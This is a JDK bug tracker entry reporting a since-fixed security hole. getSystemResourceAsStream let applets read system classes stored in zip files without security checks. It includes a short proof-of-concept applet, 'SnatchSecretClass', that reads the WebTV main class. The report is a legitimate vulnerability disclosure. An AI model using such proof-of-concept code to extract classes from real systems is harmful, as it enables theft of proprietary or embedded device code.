Uploaded image for project: 'JDK'
  1. JDK
  2. JDK-4062428

Security hole in getSystemResourceAsStream exposes internal classes.

    XMLWordPrintable

    Details

    • Type: Bug
    • Status: Closed
    • Priority: P1
    • Resolution: Fixed
    • Affects Version/s: 1.1, 1.1.2, 1.1.5, 1.1.6
    • Fix Version/s: 1.1.4
    • Component/s: core-libs
    • Labels:
    • Subcomponent:
    • Resolved In Build:
      1.1.4
    • CPU:
      generic, x86, sparc
    • OS:
      generic, solaris_2.5.1, windows_95
    • Verification:
      Not verified

      Description


      The getSystemResourceAsStream call will deliver the contents of a
      system class to an applet if system classes are stored in a zip file.
      If the class is stored as a normal file, checking is properly done.
      Exposing internal classes allows an applet to suck out the contents of
      any class in one's classpath, which for a developer might be code
      under development, and for an embedded device might be code that it is
      impossible to access other than by disassembling the hardware.

      In particular, this makes embedded devices much more open to security
      attacks, as implementation classes that are not generally available
      may be decompiled. It is easy to get the class names by guessing or
      looking at the implementation of classes that the Java API declares as
      abstract. Decompiling such classes will produce more classes to
      examine.

      The following program grabs the main class for the WebTV
      implementation of Java, and could easily ship it back off the box.

      import java.io.*;
      import java.applet.*;

      public class SnatchSecretClass extends Applet {

          final static String secretName = "webtv/Main.class";

          public void init() {

      InputStream i = ClassLoader.getSystemResourceAsStream(secretName);
      if (i == null) {
      System.err.println("Couldn't find secret class");
      return;
      }

      try {
      ByteArrayOutputStream o = new ByteArrayOutputStream();

      int c;
      while ((c = i.read()) != -1) {
      o.write(c);
      }
      byte[] b = o.toByteArray();
      System.err.println("Length of class is: " + b.length);
      } catch (IOException ex) {
      System.err.println(ex);
      return;
      }
          }
      }

      The problem is that there are no security checks in resource.c for
      items accessed as zip files. This also might be an issue for the
      implementation of the "handler" for "systemresource" URLs, but I
      haven't looked.

      Alan Bishop
      WebTV Networks, Inc.
      ###@###.###

        Attachments

          Issue Links

            Activity

              People

              Assignee:
              rschemersunw Roland Schemers (Inactive)
              Reporter:
              mmuellersunw Marianne Mueller (Inactive)
              Votes:
              0 Vote for this issue
              Watchers:
              1 Start watching this issue

                Dates

                Created:
                Updated:
                Resolved:
                Imported:
                Indexed: